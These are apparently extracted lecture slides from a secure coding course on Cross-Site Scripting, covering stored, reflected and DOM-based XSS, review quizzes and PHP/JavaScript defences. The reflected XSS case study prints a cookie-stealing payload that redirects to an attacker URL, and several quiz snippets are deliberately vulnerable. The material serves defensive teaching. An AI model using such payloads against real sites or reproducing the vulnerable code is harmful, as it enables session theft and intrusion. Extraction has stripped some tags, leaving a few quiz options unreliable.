Lecture 9: Cross-Site Scripting (XSS) - Secure Software Implementation PDF
Document Details

Uploaded by RoomierChrysoprase8444
Mohammed Alqmase
Tags
Summary
This document covers lecture notes on Cross-Site Scripting (XSS) for secure software implementation and coding, including details on different types of XSS attacks, potential vulnerabilities, and methods to prevent these threats in web applications. The document includes review questions and code examples to illustrate XSS concepts.
Full Transcript
Lecture 9 Secure Software Implementation/Coding Domain 4 Cross-Site Scripting (XSS) Official (ISC)2® Guide to the CSSLP® CBK® Second Edition Mohammed Alqmase Review Questions 1. What is an SQL Injection attack? A. A technique used...
Lecture 9 Secure Software Implementation/Coding Domain 4 Cross-Site Scripting (XSS) Official (ISC)2® Guide to the CSSLP® CBK® Second Edition Mohammed Alqmase Review Questions 1. What is an SQL Injection attack? A. A technique used to insert malicious code into a database query. B. A method to improve SQL query performance. C. A way to update user credentials in a secure way. D. A method to optimize database indexing. 2. What does the following SQL query do if the $_GET['id'] is set to (1 OR 1=1)? $id = $_GET['id']; $query = "SELECT * FROM users WHERE id = $id"; mysqli_query($conn, $query); A. Returns only the user with ID 1. B. Throws a syntax error. C. Returns all users in the table. D. Deletes the users with ID 1. 3. What is a Command Injection attack? A. An attack that allows unauthorized commands to be executed on the server. B. A method to perform SQL queries more efficiently. C. An injection to increase server response speed. D. A way to send commands to a web browser. 4. What is wrong with the following code, and how can it be exploited? $cmd = $_GET['cmd']; exec("ls -l $cmd"); A. It’s secure because it only lists files. B. It is vulnerable to command injection, allowing an attacker to execute arbitrary commands. C. It will fail to list the directory contents. D. It is vulnerable to XSS attacks. 5. Which of the following techniques prevents SQL Injection attacks effectively? A. Using client-side validation. B. Hashing SQL queries. C. Using prepared statements and parameterized queries. D. Using strong passwords for database authentication. 6. How can you prevent file inclusion vulnerabilities like in the code above? $file = $_GET['file']; include($file); A. Only allow predefined file paths or use realpath() to verify file paths. B. Use server-side validation to prevent malicious files. C. Store files in a separate directory. D. Use HTML escaping for file names. 7. Which of the following types of injection attacks involves injecting executable code into a program? A. SQL Injection B. Command Injection C. Code Injection D. HTML Injection 8. What is the main risk of using the eval() function in PHP? A. It slows down execution time. B. It can lead to Code Injection attacks if user input is passed directly to the eval() function. C. It limits the flexibility of the application. D. It is deprecated in PHP 7.0. 9. What is the purpose of input sanitization in web applications? A. To remove or escape dangerous characters from user input. B. To validate if user input is formatted correctly. C. To allow HTML content in user input. D. To reduce server load. 10. What is the main difference between sanitization and validation? A. Sanitization removes harmful data, while validation checks if the data conforms to expected formats or rules. B. Sanitization ensures that input is properly formatted, while validation encodes it. C. Sanitization is client-side, while validation is server-side. D. Sanitization works only on SQL queries, while validation works on all input types. 10. What is the main difference between sanitization and validation? A. Sanitization removes harmful data, while validation checks if the data conforms to expected formats or rules. B. Sanitization ensures that input is properly formatted, while validation encodes it. C. Sanitization is client-side, while validation is server-side. D. Sanitization works only on SQL queries, while validation works on all input types. 11. What will be the output of the following PHP code when the user inputs "alert('XSS')"? $input = "alert('XSS')"; echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8'); A. alert('XSS') B. <script>alert('XSS')</script> C. alert("XSS") D. <script>alert('XSS')</script> 12. What will the following PHP code output if the user inputs "Hello"? $input = "Hello"; echo strip_tags($input); A. Hello B. <b>Hello</b> C. Hello D. bHello/b 13. What will be the output of this PHP code when the user inputs "O'Reilly"? $input = "O'Reilly"; echo mysqli_real_escape_string($conn, $input); A. O'Reilly B. O\'Reilly C. O''Reilly D. OReilly` 14. What is the sanitized output of the following PHP code when the user inputs "Welcome!"? $input = "Welcome!"; echo filter_var($input, FILTER_SANITIZE_STRING); A. Welcome! B. Welcome! C. <h1>Welcome!</h1> D. h1Welcome!h1 Cross-Site Scripting (XSS) XSS Definition Cross-Site Scripting (XSS) is a type of security vulnerability typically found in web applications. It allows attackers to inject malicious scripts into web pages viewed by other users. These scripts can then be executed in the context of the victim's browser, leading to various harmful actions such as stealing session tokens, manipulating web content, or redirecting users to malicious websites. XSS Types ❖ Stored XSS (Persistent XSS): ❖ Reflected XSS (Non-Persistent XSS): ❖ DOM-Based XSS: Stored XSS Definition Stored XSS , also known as Persistent XSS, occurs when an attacker injects malicious scripts into a web application, and the injected scripts are stored on the server. The scripts are then delivered to other users when they access the affected pages. Stored XSS How does it work? Author Dashboard Laravel for Beginner send(document.cookie);... Server Laravel is a framework … Database Post Author As Attacker Stored XSS How does it work? Author Dashboard Laravel for Beginner send(document.cookie);... Server Laravel is a framework … Database Post Author As Attacker Stored XSS How does it work? Author Dashboard Admin Dashboard Laravel for Beginner send(document.cookie); Laravel for beginner... Server Laravel is a framework … Laravel is a framework … Database Post Author Attacker admin As Attacker Database Stored XSS How does it work? Author Dashboard Admin Dashboard Laravel for Beginner send(document.cookie); Laravel for beginner... Server Laravel is a framework … Laravel is a framework … Database Post Author Attacker admin As Attacker Database Stored XSS How does it work? Admin Dashboard Admin Dashboard Laravel for beginner Laravel for beginner Server Laravel is a framework … Laravel is a framework … Database Author Attacker admin As Attacker Database Stored XSS How to prevent it? 1. Input Validation and Sanitization: $comment = $_POST['comment']; // Store in the database // validation $isValid=validateComment($_POST['comment']); if($isValid){ // Sanitization $comment = htmlspecialchars($_POST['comment'], ENT_QUOTES, 'UTF-8'); // Store in the database }else{ // response invalid message } Stored XSS How to prevent it? 2. Output Encoding: $row=getComment($id); echo "". $row['comment']. ""; $row=getComment($id); echo "". htmlspecialchars($row['comment'], ENT_QUOTES, 'UTF-8').""; Stored XSS How to prevent it? 3. Use Security Libraries: Use security libraries and frameworks that provide built-in XSS protection. For example, many web frameworks like Django, Laravel, and Ruby on Rails offer XSS protection out of the box. Stored XSS Review Questions 12. What is Stored XSS? A. When malicious scripts are injected into a webpage and are stored in a database or server, affecting multiple users. B. When a malicious script is reflected immediately back to the user via query strings. C. When a script is stored temporarily in the browser. D. A method where XSS attacks only affect a single user. 13. In the following code, where is the Stored XSS vulnerability? $message = $_POST['message']; $query = "INSERT INTO comments (comment) VALUES ('$message')"; mysqli_query($conn, $query); A. The code uses GET instead of POST. B. The user input is not sanitized before being stored in the database. C. The database connection is not secure. D. The `INSERT INTO` query is incorrect. 14. Which of the following can Stored XSS attacks do? A. Steal cookies and session tokens. B. Execute remote commands on the server. C. Alter server-side code directly. D. Modify server configuration files. 15. What will happen if the following input is stored in a comment field on a blog? User input: `"alert('XSS')"` A. The input will be displayed as a comment. B. The input will execute a JavaScript alert in other users browsers. C. The input will be ignored by the browser. D. The input will be sanitized automatically. 16. Which of the following is NOT a common prevention technique for Stored XSS? A. Input sanitization. B. Output encoding. C. Escaping SQL queries. D. Using a firewall. 17. How does this code prevent Stored XSS? $input = $_POST['message']; $safe_input = htmlspecialchars($input, ENT_QUOTES, 'UTF-8'); echo $safe_input; A. It prevents JavaScript from being executed by encoding special characters. B. It removes dangerous code from the input. C. It rejects any user input that contains a `` tag. D. It allows only text input and ignores HTML tags. 18. How does the following code help prevent Stored XSS? $user_input = $_POST['feedback']; $safe_input = strip_tags($user_input); echo $safe_input; A. It removes any HTML tags from the input. B. It encodes special characters into HTML entities. C. It blocks malicious IP addresses. D. It allows only `script` tags to be executed. 19. What’s the main reason to `use` htmlspecialchars() in preventing Stored XSS? A. It removes all user input before storing it. B. It escapes special characters like ``, and `&`. C. It performs a database query safely. D. It prevents SQL injection. Reflected XSS (Non-Persistent XSS) Reflected XSS Definition Reflected XSS, also known as Non-Persistent XSS, occurs when user-supplied data is immediately processed and reflected back to the user without being properly sanitized or encoded. This type of XSS typically happens when a web application includes untrusted data in a page’s HTML or JavaScript without proper escaping, and the attack payload is executed immediately. Reflected XSS How does it work? Case Study: Reflected XSS Exploit in a Teacher's Portal Web Application A web application is designed to help teachers manage students' information, track attendance, administer quizzes, and handle course content and assignments. The system has login functionality for both teachers and students. However, the application has a vulnerability in one of its features, allowing a Reflected XSS attack to be carried out by a malicious student. Reflected XSS How does it work? Case Study: Reflected XSS Exploit in a Teacher's Portal Web Application Vulnerable Feature: In the web application, teachers can search for students by name to update their records, attendance, and grades. The search query entered by the teacher is reflected directly on the results page without proper sanitization or encoding. The search form takes a query via the URL parameter search and reflects it on the page showing search results: Reflected XSS How does it work? Case Study: Reflected XSS Exploit in a Teacher's Portal Web Application Exploit by the Student: A malicious student decides to exploit this reflected XSS vulnerability to steal the teacher's session cookie and impersonate the teacher. With access to the teacher's account, the student could manipulate grades, access private information, and even change the course content. Reflected XSS How does it work? Case Study: Reflected XSS Exploit in a Teacher's Portal Web Application The student crafts a malicious message with malicious URL : in this link Reflected XSS How does it work? in this link document.location = 'http://localhost/xss/attacker.php?cookies='+document.cookie; Reflected XSS How does it work? Database Database Server Attacker Server Teacher Attacker Reflected XSS How does it work? Database Database Server Attacker Server Teacher Attacker Reflected XSS How does it work? Database Database in this link Server Attacker Server document.location = 'http://localhost/xss/attacker.php?cookies='+docu ment.cookie; Teacher Attacker Reflected XSS How does it work? Database Database in this link Server Attacker Server Teacher Attacker Reflected XSS How does it work? Database Database With this access, the attacker can: Change grades. Access sensitive student information (e.g., personal data, attendance). Modify or delete course content and assignments. Post inappropriate content under the teacher's name. Server Attacker Server Teacher Attacker Reflected XSS How to prevent it? 1. Proper Input/output Validation, sanitization, and Encoding This will ensure that any potentially malicious input is rendered harmless by converting special characters into their HTML entity equivalents. Reflected XSS How to prevent it? 2. Use Content Security Policy (CSP): This policy blocks inline scripts and only allows scripts from the application's own domain. Example CSP header: Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; $trustedScriptSource = "https://trusted-cdn.com"; $trustedImageSource = "https://trusted-image-source.com"; header("Content-Security-Policy: default-src 'self'; script-src 'self' $trustedScriptSource; img-src 'self' $trustedImageSource;"); Reflected XSS How to prevent it? 3. Limit the Use of User-Provided Data in Responses: Minimize the reflection of user-provided data in the HTML response. Reflected XSS How to prevent it? 4. Use HTTP-Only and Secure Cookies: Mark session cookies as HttpOnly and Secure to prevent access via JavaScript and ensure they are only transmitted over HTTPS. // Set a secure cookie setcookie('PHPSESSID', session_id(), [ 'httponly' => true, 'secure' => true, 'samesite' => 'Strict', ]); Reflected XSS How to prevent it? Best Practices to Prevent Reflected XSS: 1. Always escape output before rendering it in the browser. 2. Validate and Sanitize user input on both the client and server sides. 3. Use a Content Security Policy to prevent the execution of malicious scripts. 4. Enable security headers like X-XSS-Protection and Content-Security-Policy. 5. Perform regular security audits and penetration testing to identify XSS vulnerabilities. 6. Use a framework that includes built-in protections against XSS, such as Django, Ruby on Rails, or Laravel. 7. Test your application with XSS vulnerability scanners and penetration testing tools (e.g., OWASP ZAP, Burp Suite). Reflected XSS Review Questions 20. What is Reflected XSS? Reflected XSS is a type of attack where: A. The malicious script is stored in the server,s database. B. The malicious script is reflected off a web application and executed in the user,s browser. C. The attack only works offline. D. The attack requires root access to the server. Reflected XSS Review Questions 21. What is the main security vulnerability in the following code? $name = $_GET['name']; echo "Hello, $name!"; A. The code is secure. B. The code is vulnerable to Reflected XSS because it outputs unsanitized user input directly. C. The code will always result in an error. D. The code will only be vulnerable if run on an outdated PHP version. Reflected XSS Review Questions 22. What can an attacker achieve with Reflected XSS? A. Execute malicious scripts in the user’s browser. B. Modify server files directly. C. Gain root access to the database. D. Install a new operating system on the server. Reflected XSS Review Questions 23. Which of the following input could cause Reflected XSS in the vulnerable code below? $search = $_GET['search']; echo "Search results for: $search"; A. apple B. `alert('XSS');` C. `apple OR 1=1` D. All of the above DOM XSS DOM XSS Definition DOM-based XSS (Document Object Model XSS) is a type of Cross-Site Scripting vulnerability that occurs when the client-side script of a web application modifies the DOM (the structure of the HTML document) based on user input in an insecure manner. Unlike traditional reflected or stored XSS, DOM XSS happens entirely on the client side, meaning that the malicious script is executed within the browser without any server-side interaction. DOM XSS What Can DOM XSS Do? An attacker can exploit DOM XSS to: Steal sensitive information like cookies, session tokens, or user credentials. Perform actions on behalf of the victim (such as submitting forms or clicking links). Inject malicious scripts that can be used for phishing or spreading malware. Modify the appearance or behavior of the web application in unintended ways. DOM XSS How does it work? https://example.com/#alert('XSS') Welcome var hash = window.location.hash.substring(1); document.getElementById('welcome-message').innerHTML = "Hello, " + hash; var hash = window.location.hash.substring(1); document.getElementById('welcome-message').textContent = "Hello, " + hash; DOM XSS How does it work? https://example.com/#alert('XSS') Profile var user = location.hash.substring(1); document.write("Welcome, " + user + ""); Profile var user = location.hash.substring(1); var h2 = document.createElement('h2'); h2.textContent = "Welcome, " + user; document.body.appendChild(h2);